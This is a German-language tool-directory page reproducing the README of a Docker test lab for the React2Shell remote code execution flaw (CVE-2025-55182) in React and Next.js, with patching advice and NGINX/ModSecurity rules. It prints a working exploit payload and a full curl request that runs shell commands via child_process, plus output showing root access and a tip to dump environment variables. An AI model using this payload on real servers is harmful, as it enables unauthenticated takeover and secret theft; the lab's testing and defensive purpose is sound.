Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
cve-2025-55182-test-lab-windows | Kitploit
Tools/GitHubGitHub/fankh/cve-2025-55182-test-lab-windows
SchwachstellenanalyseExploitationWebanwendungs-ExploitationWAF-UmgehungCTFPenetrationstestsLernen & BildungPayload-EntwicklungLabs & Praxis
GitHubfankh/cve-2025-55182-test-lab-windows

cve-2025-55182-test-lab-windows

Repository anzeigen
vor 8 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-55182 (React2Shell) Test

⚠️ Warnung: Diese Testumgebung enthält eine tatsächlich funktionierende Schwachstelle zur Remote-Code-Ausführung (RCE).

📋 Inhaltsverzeichnis

  • Übersicht
  • Schwachstellen-Informationen
  • Schnellstart
  • Reale Angriffsdemonstration
  • Testumgebung
  • WAF-Abwehrregeln
  • Dateistruktur
  • Referenzen
  • Rechtlicher Hinweis

Übersicht

CVE-2025-55182 (React2Shell) ist eine Container-Testumgebung zum Testen dieser Schwachstelle.

Hauptfunktionen

  • ✅ Reproduktion der tatsächlichen Schwachstelle – React 19.1.0 / Next.js 15.1.0-Umgebung
  • ✅ Erfolgreicher RCE-Angriff – Bestätigte Ausführung echter Befehle
  • ✅ WAF-Abwehrtest – NGINX- und Apache-ModSecurity-Regeln konfiguriert
  • ✅ Patch-Versionsvergleich – Test von anfälliger Version vs. gepatchter Version
  • ✅ Vollständige Docker-Umgebung – Isolierte Container-Umgebung

Angriffsergebnis

root@kitploit:~
🔴 CRITICAL VULNERABILITY CONFIRMED!
   Successfully executed 6/7 commands

Executed Commands:
  ✅ whoami: root
  ✅ hostname: c89f1bd355b2
  ✅ pwd: /app
  ✅ id: uid=0(root) gid=0(root) groups=0(root)...
  ✅ uname: Linux c89f1bd355b2 6.6.87.2-microsoft-standard-WSL2...
  ✅ node-ver: v20.19.6

Schwachstellen-Informationen

CVE-2025-55182 (React2Shell)

CVSS-Score: 10.0 (CRITICAL)
Auswirkung: Remote-Code-Ausführung (RCE)
Authentifizierung erforderlich: Nein
Angriffsvektor: Netzwerk

Anfällige Versionen

  • React: 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • Next.js: < 15.0.5, < 15.1.9, < 15.2.6, < 15.3.6, < 15.4.8, < 15.5.7, < 16.0.7

Gepatchte Versionen

  • React: 19.1.2+
  • Next.js: 15.0.5+, 15.1.9+, 15.2.6+, 15.3.6+, 15.4.8+, 15.5.7+, 16.0.7+

Angriffsprinzip

  1. Prototype Pollution – Prototyp-Verschmutzung über $1:__proto__:then
  2. Function-Constructor-Zugriff – Zugriff über Blob-Deserialisierung ($B-Präfix)
  3. Beliebige Codeausführung – Erstellung von Funktionen mit vom Angreifer kontrolliertem Code
  4. Ausführung von Systembefehlen – RCE über child_process
root@kitploit:~
// 공격 페이로드 구조
{
  "then": "$1:__proto__:then",           // Object.prototype.then 오염
  "status": "resolved_model",
  "reason": -1,
  "value": '{"then": "$B0"}',            // Blob 역직렬화 트리거
  "_response": {
    "_prefix": "악성_코드",               // 실행할 코드
    "_formData": {
      "get": "$1:constructor:constructor"  // Function constructor 접근
    }
  }
}

Schnellstart

Voraussetzungen

  • Docker Desktop
  • Node.js 20+ (für lokale Tests, optional)
  • Mindestens 4 GB RAM
  • Mindestens 2 GB freier Speicherplatz

Schritt 1: Umgebung starten

Windows (PowerShell):

root@kitploit:~
PowerShell -ExecutionPolicy Bypass -File .\run-tests.ps1 start

Schritt 2: Status prüfen

root@kitploit:~
.\run-tests.ps1 status

Warten Sie, bis alle Container den Status healthy erreicht haben (dauert ca. 1–2 Minuten).

Schritt 3: Angriff ausführen

Windows (PowerShell):

root@kitploit:~
# 방법 1: PowerShell 스크립트 사용 (권장)
.\tests\exploit-working.ps1

# 방법 2: Node.js 직접 실행
node tests\exploit-working.js

Schritt 4: Ergebnis prüfen

Sie können die Ergebnisse der Befehlsausführung in den Serverprotokollen überprüfen:

root@kitploit:~
docker compose logs vulnerable-app --tail=20

Angriffsdemonstration

Automatisierte Angriffsskripte

exploit-working.js ⭐ Empfohlen

Windows:

root@kitploit:~
# PowerShell 스크립트 (권장)
.\tests\exploit-working.ps1

# 또는 Node.js 직접 실행
node tests\exploit-working.js

Funktionsumfang:

  • ✅ Ausführung beliebiger Shell-Befehle
  • ✅ Erfassung der Befehlsausgabe in den Serverprotokollen
  • ✅ Automatischer Test mehrerer Befehle
  • ✅ Detaillierter Schwachstellenbericht

Getestete Befehle:

  • whoami – aktueller Benutzer (root)
  • hostname – Container-Hostname
  • pwd – Arbeitsverzeichnis (/app)
  • id – vollständige Benutzerinformationen
  • uname -a – Systeminformationen
  • node --version – Node.js-Version

Manueller Angriff

Direkter Angriff mit curl

root@kitploit:~
# 페이로드 파일 생성
cat > payload.txt << 'EOF'
------WebKitFormBoundary123
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\": \"$B0\"}","_response":{"_prefix":"console.log('[EXPLOIT] RCE Success');const result=require('child_process').execSync('whoami').toString();console.log('[RESULT]',result);","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundary123
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundary123--
EOF

# 공격 전송
curl -X POST http://localhost:3000/ \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary123" \
  -H "Next-Action: exploit" \
  --data-binary @payload.txt

# 로그 실행 확인
docker compose logs vulnerable-app --tail=20 | grep -E "\[EXPLOIT\]|\[RESULT\]"

Benutzerdefinierte Befehle ausführen

Sie können das Angriffsskript anpassen, um eigene Befehle auszuführen:

root@kitploit:~
// exploit-working.js 파일에서:
const tests = [
  { name: 'custom', cmd: 'ls -la /app', desc: '애플리케이션 디렉토리 목록' },
  { name: 'env', cmd: 'printenv', desc: '환경 변수 출력' }
]

Testumgebung

Docker-Container

Anwendungsumgebung

  • Framework: Next.js 15.1.0 (App Router)
  • React-Version: 19.1.0 (anfällig)
  • Node.js: 20.19.6

Testszenarien

Szenario 1: Angriff auf die anfällige Version

root@kitploit:~
# 작동하는 공격 실행
node tests/exploit-working.js

# 예상 결과: 명령어 실행 성공
# 출력: 사용자 정보, 시스템 세부 정보 등

Szenario 2: Test der gepatchten Version

Windows (PowerShell):

root@kitploit:~
# PowerShell 스크립트 사용
.\tests\exploit-working.ps1 -Port 3001

Erwartetes Ergebnis: Der Angriff schlägt fehl (React 19.1.2 blockiert den Angriff)

Szenario 3: WAF-Blockierungstest

Windows (PowerShell):

root@kitploit:~
# NGINX WAF를 통한 공격 시도
.\tests\exploit-working.ps1 -Port 8080

Erwartetes Ergebnis: Blockierung durch die WAF-Regeln


WAF-Abwehrregeln

NGINX-Abwehrregeln

Ort: nginx/nginx.conf

Erkennungsmuster:

  1. Prototype Pollution – __proto__, constructor:constructor
  2. Flight-Protocol-Missbrauch – $X:__proto__, $B-Referenzen
  3. Gadget Chain – child_process, execSync, require()
  4. URL-Encoding-Umgehung – %5f%5fproto%5f%5f
  5. Verdächtige Header – Next-Action: #constructor

Blockierungsverhalten:

root@kitploit:~
HTTP 403 Forbidden
{
  "error": "Request blocked by WAF",
  "protection": "CVE-2025-55182",
  "waf": "NGINX"
}

Apache-ModSecurity-Regeln

Ort: apache/modsecurity-rules.conf

Regel-ID-Bereich: 100001-100017

Wichtigste Regeln:

  • 100001: __proto__-Erkennung
  • 100002: Zugriff auf Constructor-Chain
  • 100003-100004: Flight-Protocol-Missbrauch
  • 100006-100007: Gadget-Chain-Muster
  • 100008-100011: RCE-Versuche (child_process, exec, spawn, require)
  • 100015: Verdächtiger Next-Action-Header
  • 100017: Blockierung basierend auf Anomalie-Score

WAF-Test

root@kitploit:~
# NGINX 차단 테스트
curl -X POST http://localhost:8080/ \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"polluted": true}}'

# 예상 응답: HTTP 403

# ModSecurity 차단 테스트
curl -X POST http://localhost:8081/ \
  -H "Next-Action: test#constructor" \
  -d '{"data": "test"}'

# 예상 응답: HTTP 403

WAF-Protokolle prüfen

root@kitploit:~
# NGINX 보안 로그
docker compose exec nginx tail -f /var/log/nginx/security.log

# Apache ModSecurity 감사 로그
docker compose exec apache tail -f /var/log/apache2/modsec_audit.log

⚠️ WAF-Einschränkungen

Wichtig: Die aktuelle WAF-Konfiguration hat folgende Einschränkungen:

NGINX (Port 8080)

  • ❌ Der Request-Body wird nicht geprüft
  • Die NGINX-Standardkonfiguration prüft nur URL, Query-Parameter und Header
  • Der Exploit-Payload befindet sich im multipart/form-data-Body und wird daher nicht erkannt
  • Lösung: lua-nginx-module oder eine separate WAF-Lösung erforderlich

Apache ModSecurity (Port 8081)

  • ⚠️ Next.js lehnt POST-Anfragen ab (405 Method Not Allowed)
  • ModSecurity ist aktiviert und kann den Body prüfen
  • Allerdings wird der Next-Action-Header benötigt, und dieser allein bietet keinen ausreichenden Schutz
  • Aktueller Status: 405-Antwort, bevor die WAF den Body prüfen kann

Reale Angriffsabwehr:

  • ✅ Effektivste Methode: React/Next.js auf gepatchte Versionen aktualisieren (Port 3001, 8082)
  • ⚠️ Die WAF bietet nur teilweisen Schutz: Eingeschränkt bei Angriffen, die eine Body-Prüfung erfordern

Dateistruktur

root@kitploit:~
cve-2025-55182-test-lab-windows/
├── README.md                           # README
├── docker-compose.yml                  # Docker 환경 설정
├── run-tests.ps1                       # Windows 실행 스크립트
├── run-tests.sh                        # Linux/Mac 실행 스크립트
│
├── vulnerable-app/                     # 취약 버전 애플리케이션
│   ├── Dockerfile
│   ├── package.json                    # React 19.1.0, Next.js 15.1.0
│   ├── next.config.js
│   ├── app/
│   │   ├── layout.js                   # 기본 레이아웃
│   │   ├── page.js                     # 메인 페이지
│   │   └── api/
│   │       └── health/                 # 헬스 체크 엔드포인트
│   │           └── route.js
│   └── tests/                          
│
├── patched-app/                        # 취약점 해결 버전 애플리케이션
│   ├── Dockerfile
│   ├── package.json                    # React 19.1.2, Next.js 15.1.9
│   ├── next.config.js
│   └── app/
│       ├── layout.js
│       ├── page.js
│       └── api/
│           └── health/
│               └── route.js
│
├── tests/                              # 공격 스크립트
│   ├── exploit-working.js              # RCE 공격 (Node.js)
│   ├── exploit-working.ps1             # RCE 공격 (PowerShell)
│   └── exploit-working.cmd             # RCE 공격 (배치 파일)
│
├── nginx/                              # NGINX WAF 설정
│   ├── nginx.conf                      # CVE-2025-55182 차단 룰
│   └── nginx-patched.conf              # 프락시 설정
│
└── apache/                             # Apache ModSecurity 설정
    ├── Dockerfile
    ├── apache-config.conf
    └── modsecurity-rules.conf          # ModSecurity 차단 룰

Überprüfung des Angriffs

Methode 1: Skriptausgabe prüfen

Das Angriffsskript zeigt die Ergebnisse direkt an:

root@kitploit:~
[whoami] Sending exploit...
  ✅ SUCCESS! Output: root

Methode 2: Serverprotokolle überwachen

root@kitploit:~
# 실시간 로그 모니터링
docker compose logs -f vulnerable-app

# 확인 필요 사항:
# [EXPLOIT] Executing: whoami
# [RESULT] root

Methode 3: Angriffsindikatoren prüfen

root@kitploit:~
# 공격이 실행되었는지 확인
docker compose exec vulnerable-app ps aux | grep node

# 파일 시스템 변경 확인 (파일을 작성한 경우)
docker compose exec vulnerable-app ls -la /tmp

Abhilfemaßnahmen

npm-Patch

  1. React aktualisieren – Version 19.1.2 oder höher installieren:

    root@kitploit:~
    npm install react@^19.1.2 react-dom@^19.1.2
    
  2. Next.js aktualisieren – Version 15.1.9 oder höher installieren:

    root@kitploit:~
    npm install next@^15.1.9
    
  3. Neu erstellen und erneut bereitstellen:

    root@kitploit:~
    npm run build
    # 프로덕션 환경에 배포
    

Verifizierung nach dem Patch

Windows (PowerShell):

root@kitploit:~
# 패치된 버전으로 테스트
.\tests\exploit-working.ps1 -Port 3001

# 또는
$env:TARGET_PORT=3001; node tests\exploit-working.js

Linux/Mac:

root@kitploit:~
# 패치된 버전으로 테스트
TARGET_PORT=3001 node tests/exploit-working.js

Beispielergebnis: ℹ️ Exploitation failed

Sicherheitsmaßnahmen, falls kein Patch möglich ist

  1. WAF-Regeln bereitstellen – Verwendung der NGINX/ModSecurity-Regeln dieses Projekts
  2. Netzwerksegmentierung – Externen Zugriff einschränken
  3. Rate Limiting – Einschränkungen für Server-Action-Endpunkte anwenden
  4. Protokollüberwachung – Logs auf Angriffsversuche überwachen

Docker-Befehle

Umgebungsverwaltung

root@kitploit:~
# 시작
.\run-tests.ps1 start

# 상태 확인
.\run-tests.ps1 status

# 로그 보기
.\run-tests.ps1 logs

# 중지
.\run-tests.ps1 stop

# 초기화 (모든 컨테이너 및 볼륨 삭제)
.\run-tests.ps1 clean

Fehlerbehebung

Wenn der Angriff nicht funktioniert

Windows (PowerShell):

root@kitploit:~
# 1. 버전 확인
docker compose exec vulnerable-app npm list react next

# 다음과 같이 표시되어야 함:
# [email protected]
# [email protected]

# 2. 서버가 응답하는지 확인
curl http://localhost:3000

# 3. Docker 로그 확인
docker compose logs vulnerable-app --tail=50

# 4. 컨테이너 재시작
docker compose restart vulnerable-app

Wenn Ausgabewerte nicht überprüft werden können

Windows (PowerShell):

root@kitploit:~
# PowerShell에서 로그 필터링
docker compose logs vulnerable-app --tail=20 | Select-String "EXPLOIT|RESULT"

Docker Desktop läuft nicht (nur Windows)

Fehlerbild:

root@kitploit:~
error during connect: Get "http://%2F%2F.%2Fpipe%2FdockerDesktopLinuxEngine...

Lösung:

  1. Docker Desktop starten
  2. Prüfen, ob das Tray-Symbol grün ist
  3. Mit dem Befehl docker ps prüfen

PowerShell-Skript kann nicht ausgeführt werden (nur Windows)

Fehlerbild:

root@kitploit:~
이 시스템에서 스크립트를 실행할 수 없으므로...

Lösung:

root@kitploit:~
# 현재 세션에만 적용
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process

# 또는 직접 실행
PowerShell -ExecutionPolicy Bypass -File .\tests\exploit-working.ps1

Berechtigungsfehler

Stellen Sie sicher, dass Docker läuft und Sie die erforderlichen Berechtigungen besitzen:

Alle Plattformen:

root@kitploit:~
docker compose ps

Portkonflikte

Wenn eine andere Anwendung den Port bereits verwendet:

Windows (PowerShell):

root@kitploit:~
# 포트 사용 프로세스 확인
netstat -ano | findstr :3000

# 프로세스 종료 (PID 확인 후)
taskkill /PID <PID> /F

Alle Plattformen (docker-compose.yml anpassen):

root@kitploit:~
# 포트를 변경하여 충돌 회피
services:
  vulnerable-app:
    ports:
      - "3010:3000"  # 3000 → 3010으로 변경

Wenn die WAF nicht funktioniert

Alle Plattformen:

root@kitploit:~
# NGINX 설정 테스트
docker compose exec nginx nginx -t

# Apache 설정 테스트
docker compose exec apache apachectl configtest

# 로그 확인
docker compose logs nginx --tail=30
docker compose logs apache --tail=30

Referenzen

Offizielle Sicherheitsempfehlungen

  • React-Sicherheitsempfehlung
  • Vercel-Zusammenfassung zu CVE-2025-55182
  • Next.js-Empfehlung zu CVE-2025-66478
  • NVD - CVE-2025-55182

Technische Analysen

  • Datadog Security Labs - CVE-2025-55182
  • Wiz-Blog – Kritische RCE in React
  • Palo-Alto-Unit42-Analyse
  • Kaspersky-Blog
  • OX-Security-Blog

Proof of Concepts

  • msanft/CVE-2025-55182
  • dwisiswant0/CVE-2025-55182
  • EynaExp/CVE-2025-55182-POC
  • Spritualkb/CVE-2025-55182-exp
  • ejpir/CVE-2025-55182-research

Lizenz

Dieses Projekt wird zu Bildungs- und Sicherheitsforschungszwecken bereitgestellt.

Nutzungseinschränkungen:

  • Nur für autorisierte Sicherheitstests verwenden
  • Keine Änderung für böswillige Zwecke

Tool herunterladen
PortDienstReact-VersionZweckWAF-Status
3000vulnerable-app19.1.0Anfällig – CVE-2025-55182-Test❌ Kein Schutz
3001patched-app19.1.2Sicher – Patch-Wirkung verifizieren✅ Gepatcht
8080nginx → vulnerable19.1.0WAF-Test (NGINX)⚠️ Eingeschränkt (Body wird nicht geprüft)
8081apache → vulnerable19.1.0WAF-Test (ModSecurity)⚠️ Eingeschränkt (405-Antwort)
8082nginx → patched19.1.2Doppelschutz-Test✅ Gepatcht